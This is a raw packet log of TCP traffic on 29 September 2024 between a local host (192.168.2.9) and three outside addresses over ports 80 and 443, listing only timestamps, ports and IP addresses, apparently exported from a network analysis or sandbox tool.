Sep 29, 2024 00:53:24.460891962 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.460917950 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.461558104 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.461584091 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.461589098 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.461620092 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.461620092 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.461641073 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.461646080 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.461692095 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.461744070 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.461750031 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.461761951 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.461767912 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.461774111 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.461786985 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.461793900 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.461801052 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.461801052 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.461822033 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.461843014 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.461848974 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.461860895 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.461867094 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.461873055 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.461882114 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.461891890 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.461891890 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.461924076 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.461924076 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.462038040 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.462044001 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.462049961 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.462054968 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.462059975 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.462080956 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.462125063 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.486504078 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.486536980 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.486541986 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.486587048 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.486587048 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.486609936 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.486666918 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.486673117 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.486681938 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.486687899 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.486692905 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.486699104 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.486704111 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.486716986 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.486723900 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.486728907 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.486735106 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.486742020 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.486754894 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.486754894 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.486771107 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.486793041 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.486937046 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.486943007 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.486957073 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.486962080 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.486968040 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.486975908 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.486982107 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.486987114 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.486993074 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.486998081 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487003088 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.487004042 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487009048 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487015963 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487016916 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.487040043 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487059116 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487063885 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487065077 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.487075090 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487081051 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487085104 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487087011 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.487092018 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487097979 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487106085 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487109900 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487111092 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.487124920 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487131119 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487135887 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487142086 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487148046 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487171888 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.487171888 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.487210989 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.487261057 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487267971 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487273932 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487284899 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487289906 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487296104 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487308025 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487310886 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.487323999 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487329960 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487341881 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487346888 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487353086 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487358093 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487371922 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487377882 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487377882 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.487377882 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.487391949 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487395048 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.487402916 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487407923 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487420082 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.487457037 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.487725019 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487756014 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487762928 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487782001 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.487833023 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.487901926 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487909079 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487920046 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487926006 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487936974 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.487957954 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.488034964 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.488255024 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.488260984 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.488320112 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.488383055 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.488389015 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.488400936 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.488436937 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.488442898 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.488454103 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.488467932 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.488490105 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.488574028 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.488579035 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.488590002 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.488595009 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.488605976 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.488611937 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.488622904 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.488631010 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.488646984 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.488653898 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.488660097 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.488665104 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.488672018 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.488733053 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.488786936 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.488800049 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.488806963 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.488814116 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.488818884 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.488852024 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.488852024 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.488905907 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.488915920 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.488928080 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.488933086 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.488950014 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.488956928 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.488962889 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.488976955 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.488976955 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.489002943 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.489008904 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.489021063 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.489026070 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.489027023 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.489037037 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.489048958 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.489059925 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.489059925 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.489069939 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.489080906 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.489080906 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.489123106 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.489151955 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.489156961 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.489161968 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.489176035 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.489206076 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.489212036 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.489217997 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.489219904 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.489224911 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.489276886 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.489284039 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.489294052 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.489298105 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.489304066 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.489316940 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.489326000 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.489331007 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.489342928 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.489346981 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.489351988 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.489351988 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.489351988 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.489351988 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.489356995 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.489362955 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.489370108 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.489387035 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.489406109 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.489444971 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.489890099 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.489897966 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.489909887 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.489913940 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.489927053 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.489940882 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.489945889 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.489952087 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.489955902 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.489968061 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.489973068 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.489978075 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.489984035 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.489986897 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.489986897 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.489989042 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.489999056 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490005016 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490010023 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.490010023 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.490010977 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490016937 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490022898 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490030050 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490034103 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.490036011 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490040064 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490046024 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490051985 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490056992 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490056992 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.490056992 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.490063906 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490070105 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490082026 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490087032 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.490104914 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.490143061 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.490534067 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490540028 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490550041 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490628958 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490634918 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490645885 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490658045 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490664005 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490674019 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490678072 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.490678072 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.490679979 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490685940 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490701914 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490709066 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490721941 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490730047 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.490730047 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.490752935 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.490767002 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.490767002 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.490817070 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.492578983 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.492644072 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.492649078 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.492654085 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.492681980 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.492681980 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.492691994 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.492697954 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.492703915 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.492706060 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.492742062 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.494899035 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.494905949 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.494910955 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.494921923 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.494927883 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.494934082 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.494940042 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.494951010 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.494957924 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.494965076 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.494972944 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.494978905 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.494981050 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.494986057 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.494992971 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.494998932 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.495001078 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.495006084 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.495012045 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.495018959 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.495033026 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.495050907 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.502000093 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.502155066 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.502156973 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.502191067 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.502214909 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.502257109 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.502306938 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.502397060 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.502407074 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.502458096 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.502516031 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.502609015 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.502620935 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.502741098 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.502873898 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.502923965 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.502933025 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.502938986 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.502940893 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.502960920 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.502975941 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.503017902 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.503025055 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.503027916 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.503030062 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.503041029 CEST	443	49715	162.159.130.233	192.168.2.9
